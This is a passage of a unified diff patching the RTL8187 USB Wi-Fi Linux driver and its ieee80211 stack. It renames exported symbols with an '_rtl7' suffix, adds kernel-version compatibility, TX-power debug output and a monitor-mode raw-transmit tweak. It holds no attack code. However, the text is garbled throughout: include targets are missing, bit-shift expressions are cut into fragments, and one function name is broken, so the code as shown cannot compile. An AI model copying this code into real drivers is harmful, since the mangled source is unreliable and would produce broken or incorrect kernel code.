r8180_priv *)ieee80211_priv_rtl7(dev); int len = 0; int i,n; @@ -319,7 +328,7 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int len = 0; @@ -339,7 +348,7 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int len = 0; @@ -391,7 +400,7 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int len = 0; @@ -407,13 +416,14 @@ return len; } - +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } +#endif void rtl8180_proc_module_init(void) { @@ -430,7 +440,7 @@ void rtl8180_proc_remove_one(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); if (priv->dir_dev) { // remove_proc_entry("stats-hw", priv->dir_dev); remove_proc_entry("stats-tx", priv->dir_dev); @@ -447,7 +457,7 @@ void rtl8180_proc_init_one(struct net_device *dev) { struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dir_dev = create_proc_entry(dev->name, S_IFDIR | S_IRUGO | S_IXUGO, rtl8180_proc); @@ -539,7 +549,7 @@ short check_nic_enought_desc(struct net_device *dev, priority_t priority) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int used = atomic_read((priority == NORM_PRIORITY) ? &priv->tx_np_pending : &priv->tx_lp_pending); @@ -549,7 +559,7 @@ void tx_timeout(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //rtl8180_commit(dev); schedule_work(&priv->reset_wq); //DMESG("TXTIMEOUT"); @@ -561,7 +571,20 @@ { int i; for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); + DMESG("EEPROM addr %02X : %04X", i, eprom_read(dev,i)); +} + +/* this is only for debug */ +void dump_tx_power(struct net_device *dev) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i; + DMESG("CCK TX-Power (b-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr[i]); + DMESG("OFDM TX-Power (g-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr_ofdm[i]); } /* this is only for debug */ @@ -575,9 +598,9 @@ for(n=0;n<=max;) { - printk( "\nD: %2x> ", n); + printk( "\nD: %02X> ", n); for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); + printk("%02X ",read_nic_byte(dev,n)); } printk("\n"); } @@ -589,7 +612,7 @@ void rtl8180_irq_enable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); //priv->irq_enabled = 1; /* write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ @@ -603,7 +626,7 @@ void rtl8180_irq_disable(struct net_device *dev) { -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); write_nic_word(dev,INTA_MASK,0); force_pci_posting(dev); @@ -625,7 +648,7 @@ void rtl8180_update_msr(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 msr; msr = read_nic_byte(dev, MSR); @@ -653,7 +676,7 @@ void rtl8180_set_chan(struct net_device *dev,short ch) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u32 tx; priv->chan=ch; #if 0 @@ -670,20 +693,20 @@ tx = read_nic_dword(dev,TX_CONF); tx &= ~TX_LOOPBACK_MASK; -#ifndef LOOP_TEST +#ifndef LOOP_TEST write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<rx_urb) DMESGE("Cannot intiate RX urb mechanism"); @@ -721,7 +744,7 @@ void rtl8187_set_rxconf(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u32 rxconf; rxconf=read_nic_dword(dev,RX_CONF); @@ -810,7 +833,7 @@ u8 cmd; u8 byte; u32 txconf; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); byte = read_nic_byte(dev,CW_CONF); byte &= ~(1<dma_poll_mask &=~(1<dma_poll_mask); @@ -900,7 +923,7 @@ void rtl8180_ _disable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask |= (1<dma_poll_mask); @@ -914,7 +937,7 @@ { u8 cmd; int i; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); cmd=read_nic_byte(dev,CMD); write_nic_byte(dev, CMD, cmd &~ \ @@ -939,7 +962,7 @@ #if 0 int i; u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, sizeof(u32)*8*count, @@ -1051,7 +1074,7 @@ void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) { struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->rxurb_task = rx_urb; // DMESGW("David: Rx tasklet start!"); @@ -1062,7 +1085,7 @@ #if 0 void rtl8180_tx_queues_stop(struct net_device *dev) { - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); @@ -1091,7 +1114,7 @@ { // FIXME !! #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask &= ~(1<dma_poll_mask); @@ -1105,14 +1128,17 @@ */ void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); short morefrag = 0; unsigned long flags; struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + { + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1) + morefrag = 1; + } // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -1126,7 +1152,7 @@ //DMESG("TX"); if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); + ieee80211_stop_queue_rtl7(priv->ieee80211); } rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, @@ -1135,7 +1161,7 @@ priv->stats.txdatapkt++; if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); + ieee80211_stop_queue_rtl7(priv->ieee80211); spin_unlock_irqrestore(&priv->tx_lock,flags); @@ -1148,7 +1174,7 @@ */ int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int ret; unsigned long flags; @@ -1228,7 +1254,7 @@ void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txlpokint++; else @@ -1259,7 +1285,7 @@ void rtl8187_net_update(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct ieee80211_network *net; net = & priv->ieee80211->current_network; @@ -1283,13 +1309,13 @@ void rtl8187_beacon_tx(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sk_buff *skb; int i = 0; rtl8187_net_update(dev); - skb = ieee80211_get_beacon(priv->ieee80211); + skb = ieee80211_get_beacon_rtl7(priv->ieee80211); if(!skb){ @@ -1327,7 +1353,7 @@ void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txnpokint++; else @@ -1353,7 +1379,7 @@ int status; struct urb *tx_urb; int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int rate = ieeerate2rtlrate(priv->ieee80211->rate); pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); @@ -1445,7 +1471,7 @@ short rtl8187_usb_initendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); @@ -1483,7 +1509,7 @@ void rtl8187_usb_deleteendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; if(priv->rx_urb){ @@ -1506,9 +1532,9 @@ u16 word; int basic_rate,min_rr_rate,max_rr_rate; -// struct r8180_priv *priv = ieee80211_priv(dev); +// struct r8180_priv *priv = ieee80211_priv_rtl7(dev); - //if (ieee80211_is_54g(priv->ieee80211->current_network) && + //if (ieee80211_is_54g_rtl7(priv->ieee80211->current_network) && // priv->ieee80211->state == IEEE80211_LINKED){ basic_rate = ieeerate2rtlrate(240); min_rr_rate = ieeerate2rtlrate(60); @@ -1540,7 +1566,7 @@ { // int i; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //write_nic_word(dev, BintrItv, net->beacon_interval); rtl8187_net_update(dev); /*update timing params*/ @@ -1554,13 +1580,13 @@ short rtl8180_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i, j; u16 word; - int ch; + int ch, chans; //u16 version; - //u8 hw_version; - //u8 config3; + u8 hw_version; + u8 config3; //FIXME: these constants are placed in a bad pleace. @@ -1580,6 +1606,13 @@ return -1; } ch=channels; + chans=0; + for (i=1; i<=14; i++) { + if( (u8)(ch & 0x01) ) chans++; + ch >>= 1; + } + DMESG("Enabling %d channels.", chans); + ch=channels; // set channels 1..14 allowed in given locale for (i=1; i<=14; i++) { (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); @@ -1588,6 +1621,8 @@ //memcpy(priv->stats,0,sizeof(struct Stats)); //priv->irq_enabled=0; + + priv->dev = dev; // priv->stats.rxdmafail=0; priv->stats.txrdu=0; @@ -1622,7 +1657,11 @@ priv->ieee80211->mode = IEEE_G; priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; spin_lock_init(&priv->tx_lock); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); +#else + INIT_WORK(&priv->reset_wq, rtl8180_restart); +#endif sema_init(&priv->wx_sem,1); tasklet_init(&priv->irq_rx_tasklet, (void(*)(unsigned long))rtl8180_irq_rx_tasklet, @@ -1716,6 +1755,12 @@ priv->enable_gpio0 = 0; + hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; + config3 = read_nic_byte(dev, CONFIG3); + + DMESG("MAC chip version: %02X", hw_version); + DMESG("Card type: %02X", config3); + /* commented out just because we already do this when resetting the card andrea 20050924 @@ -1807,6 +1852,12 @@ priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); + +#ifdef DEBUG_TX_POWER + dump_tx_power(dev); +#endif + + DMESG("RF Chip ID: %02X", priv->rf_chip); word = eprom_read(dev,EPROM_TXPW_BASE); priv->cck_txpwr_base = word & 0xf; @@ -1988,7 +2039,7 @@ void rtl8180_adapter_start(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //u32 anaparam; //u8 config3; @@ -2077,7 +2128,7 @@ void rtl8180_start_tx_beacon(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u16 word; DMESG("Enabling beacon TX"); //write_nic_byte(dev, 0x42,0xe6);// TCR @@ -2135,7 +2186,7 @@ ***************************************************************************/ static struct net_device_stats *rtl8180_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->ieee80211->stats; } @@ -2143,36 +2194,32 @@ int _rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->up=1; - //DMESG("Bringing up iface"); +// DMESG("Bringing up iface"); rtl8180_adapter_start(dev); - rtl8180_rx_enable(dev); - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); + ieee80211_softmac_start_protocol_rtl7(priv->ieee80211); + ieee80211_reset_queue_rtl7(priv->ieee80211); if(!netif_queue_stopped(dev)) netif_start_queue(dev); else netif_wake_queue(dev); - return 0; } int rtl8180_open(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; down(&priv->wx_sem); + ret = rtl8180_up(dev); up(&priv->wx_sem); return ret; @@ -2182,7 +2229,7 @@ int rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 1) return -1; @@ -2192,7 +2239,7 @@ int rtl8180_close(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; down(&priv->wx_sem); @@ -2207,7 +2254,7 @@ int rtl8180_down(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return -1; @@ -2220,7 +2267,7 @@ rtl8180_rtx_disable(dev); rtl8180_irq_disable(dev); - ieee80211_softmac_stop_protocol(priv->ieee80211); + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); return 0; } @@ -2228,23 +2275,28 @@ void rtl8180_commit(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return ; - ieee80211_softmac_stop_protocol(priv->ieee80211); + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); rtl8180_irq_disable(dev); rtl8180_rtx_disable(dev); _rtl8180_up(dev); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, reset_wq); + struct net_device *dev = priv->dev; +#else void rtl8180_restart(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); +#endif down(&priv->wx_sem); - rtl8180_commit(dev); up(&priv->wx_sem); @@ -2252,7 +2304,7 @@ static void r8180_set_multicast(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short promisc; //down(&priv->wx_sem); @@ -2273,7 +2325,7 @@ int r8180_set_mac_adr(struct net_device *dev, void *mac) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sockaddr *addr = mac; down(&priv->wx_sem); @@ -2291,8 +2343,9 @@ /* based on ipw2200 driver */ int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); struct iwreq *wrq = (struct iwreq *)rq; @@ -2300,7 +2353,7 @@ int ret=-1; switch (cmd) { case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); + ret = ieee80211_wpa_supplicant_ioctl_rtl7(priv->ieee80211, &wrq->u.data); break; default: @@ -2346,7 +2399,8 @@ if( flen <= rx_urb->actual_length){ - stats.signal = (desc[1] & 0x7f00)>>8; +// stats.signal = (desc[1] & 0x7f00)>>8; + stats.signal = (desc[1] & 0xff00)>>8; stats.noise = desc[1] &0xff; stats.rate = desc[0] >> 20 & 0xf; stats.mac_time[0] = desc[2]; @@ -2368,7 +2422,9 @@ // priv->rxskb = skb; // priv->tempstats = &stats; - if(!ieee80211_rx(priv->ieee80211, + + stats.signal -= stats.noise; + if(!ieee80211_rx_rtl7(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); } @@ -2398,14 +2454,14 @@ //printk("===> rtl8187_usb_probe()\n"); - dev = alloc_ieee80211(sizeof(struct r8180_priv)); + dev = alloc_ieee80211_rtl7(sizeof(struct r8180_priv)); SET_MODULE_OWNER(dev); usb_set_intfdata(intf, dev); SET_NETDEV_DEV(dev, &intf->dev); - priv = ieee80211_priv(dev); + priv = ieee80211_priv_rtl7(dev); priv->ieee80211 = netdev_priv(dev); priv->udev=udev; @@ -2418,7 +2474,12 @@ dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; if (dev_alloc_name(dev, ifname) < 0){ @@ -2447,7 +2508,7 @@ fail: - free_ieee80211(dev); + free_ieee80211_rtl7(dev); DMESG("wlan driver load failed\n"); @@ -2464,7 +2525,7 @@ unregister_netdev(dev); - priv=ieee80211_priv(dev); + priv=ieee80211_priv_rtl7(dev); rtl8180_proc_remove_one(dev); @@ -2478,12 +2539,12 @@ } // pci_disable_device(pdev); - free_ieee80211(dev); + free_ieee80211_rtl7(dev); DMESG("wlan driver removed\n"); } -static int __init rtl8187_usb_module_init(void) +static int __init rtl8187_usb_module_init_rtl7(void) { printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ based WLAN cards\n"); @@ -2495,7 +2556,7 @@ } -static void __exit rtl8187_usb_module_exit(void) +static void __exit rtl8187_usb_module_exit_rtl7(void) { usb_deregister(&rtl8187_usb_driver); @@ -2508,14 +2569,14 @@ { unsigned long flags; short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); spin_lock_irqsave(&priv->tx_lock,flags); enough_desc = check_nic_enought_desc(dev,pri); spin_unlock_irqrestore(&priv->tx_lock,flags); if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); + ieee80211_wake_queue_rtl7(priv->ieee80211); } @@ -2523,5 +2584,5 @@ /*************************************************************************** ------------------- module init / exit stubs ---------------- ****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); +module_init(rtl8187_usb_module_init_rtl7); +module_exit(rtl8187_usb_module_exit_rtl7); diff -Naur rtl8187_orig/beta-8187/r8187.h rtl8187_txpower/beta-8187/r8187.h --- rtl8187_orig/beta-8187/r8187.h 2006-06-06 08:48:10.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8187.h 2007-02-26 03:05:07.891426549 +0100 @@ -26,7 +26,6 @@ #include #include -#include #include #include #include @@ -47,6 +46,10 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" #define EPROM_93c46 0 @@ -148,7 +151,7 @@ u8 challow[15]; //channels from 1 to 14, 0 not used short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; + short prism_hdr; // struct timer_list scan_timer; /*short scanpending; diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.c rtl8187_txpower/ieee80211/ieee80211_crypt.c --- rtl8187_orig/ieee80211/ieee80211_crypt.c 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_crypt.c 2007-02-26 03:05:15.811546022 +0100 @@ -11,7 +11,6 @@ * */ -#include #include #include #include @@ -19,6 +18,10 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" MODULE_AUTHOR("Jouni Malinen"); @@ -38,7 +41,7 @@ static struct ieee80211_crypto *hcrypt; -void ieee80211_crypt_deinit_entries(struct ieee80211_device *ieee, +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *ieee, int force) { struct list_head *ptr, *n; @@ -61,13 +64,13 @@ } } -void ieee80211_crypt_deinit_handler(unsigned long data) +void ieee80211_crypt_deinit_handler_rtl7(unsigned long data) { struct ieee80211_device *ieee = (struct ieee80211_device *)data; unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - ieee80211_crypt_deinit_entries(ieee, 0); + ieee80211_crypt_deinit_entries_rtl7(ieee, 0); if (!list_empty(&ieee->crypt_deinit_list)) { printk(KERN_DEBUG "%s: entries remaining in delayed crypt " "deletion list\n", ieee->dev->name); @@ -78,7 +81,7 @@ } -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt) { struct ieee80211_crypt_data *tmp; @@ -103,7 +106,7 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct ieee80211_crypto_alg *alg; @@ -128,7 +131,7 @@ return 0; } -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct list_head *ptr; @@ -159,7 +162,7 @@ } -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name) +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name) { unsigned long flags; struct list_head *ptr; @@ -186,13 +189,13 @@ } -static void * ieee80211_crypt_null_init(int keyidx) { return (void *) 1; } -static void ieee80211_crypt_null_deinit(void *priv) {} +static void * ieee80211_crypt_null_init_rtl7(int keyidx) { return (void *) 1; } +static void ieee80211_crypt_null_deinit_rtl7(void *priv) {} static struct ieee80211_crypto_ops ieee80211_crypt_null = { .name = "NULL", - .init = ieee80211_crypt_null_init, - .deinit = ieee80211_crypt_null_deinit, + .init = ieee80211_crypt_null_init_rtl7, + .deinit = ieee80211_crypt_null_deinit_rtl7, .encrypt_mpdu = NULL, .decrypt_mpdu = NULL, .encrypt_msdu = NULL, @@ -205,7 +208,7 @@ }; -static int __init ieee80211_crypto_init(void) +static int __init ieee80211_crypto_init_rtl7(void) { int ret = -ENOMEM; @@ -217,7 +220,7 @@ INIT_LIST_HEAD(&hcrypt->algs); spin_lock_init(&hcrypt->lock); - ret = ieee80211_register_crypto_ops(&ieee80211_crypt_null); + ret = ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_null); if (ret < 0) { kfree(hcrypt); hcrypt = NULL; @@ -227,7 +230,7 @@ } -static void __exit ieee80211_crypto_deinit(void) +static void __exit ieee80211_crypto_deinit_rtl7(void) { struct list_head *ptr, *n; @@ -247,13 +250,13 @@ kfree(hcrypt); } -EXPORT_SYMBOL(ieee80211_crypt_deinit_entries); -EXPORT_SYMBOL(ieee80211_crypt_deinit_handler); -EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit); - -EXPORT_SYMBOL(ieee80211_register_crypto_ops); -EXPORT_SYMBOL(ieee80211_unregister_crypto_ops); -EXPORT_SYMBOL(ieee80211_get_crypto_ops); +EXPORT_SYMBOL(ieee80211_crypt_deinit_entries_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_deinit_handler_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit_rtl7); + +EXPORT_SYMBOL(ieee80211_register_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_unregister_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_get_crypto_ops_rtl7); -module_init(ieee80211_crypto_init); -module_exit(ieee80211_crypto_deinit); +module_init(ieee80211_crypto_init_rtl7); +module_exit(ieee80211_crypto_deinit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c rtl8187_txpower/ieee80211/ieee80211_crypt_ccmp.c --- rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_crypt_ccmp.c 2007-02-26 03:05:15.821546173 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -22,11 +21,20 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) + #include +#endif + #include "ieee80211.h" #include -#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: CCMP"); @@ -59,7 +67,7 @@ u8 rx_b0[AES_BLOCK_LEN], rx_b[AES_BLOCK_LEN], rx_a[AES_BLOCK_LEN]; }; -void ieee80211_ccmp_aes_encrypt(struct crypto_tfm *tfm, +void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_tfm *tfm, const u8 pt[16], u8 ct[16]) { struct scatterlist src, dst; @@ -75,7 +83,7 @@ crypto_cipher_encrypt(tfm, &dst, &src, AES_BLOCK_LEN); } -static void * ieee80211_ccmp_init(int key_idx) +static void * ieee80211_ccmp_init_rtl7(int key_idx) { struct ieee80211_ccmp_data *priv; @@ -105,7 +113,7 @@ } -static void ieee80211_ccmp_deinit(void *priv) +static void ieee80211_ccmp_deinit_rtl7(void *priv) { struct ieee80211_ccmp_data *_priv = priv; if (_priv && _priv->tfm) @@ -114,7 +122,7 @@ } -static inline void xor_block(u8 *b, u8 *a, size_t len) +static inline void xor_block_rtl7(u8 *b, u8 *a, size_t len) { int i; for (i = 0; i < len; i++) @@ -122,7 +130,7 @@ } -static void ccmp_init_blocks(struct crypto_tfm *tfm, +static void ccmp_init_blocks_rtl7(struct crypto_tfm *tfm, struct ieee80211_hdr *hdr, u8 *pn, size_t dlen, u8 *b0, u8 *auth, u8 *s0) @@ -186,18 +194,18 @@ } /* Start with the first block and AAD */ - ieee80211_ccmp_aes_encrypt(tfm, b0, auth); - xor_block(auth, aad, AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); - xor_block(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, auth); + xor_block_rtl7(auth, aad, AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); + xor_block_rtl7(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); b0[0] &= 0x07; b0[14] = b0[15] = 0; - ieee80211_ccmp_aes_encrypt(tfm, b0, s0); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, s0); } -static int ieee80211_ccmp_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int 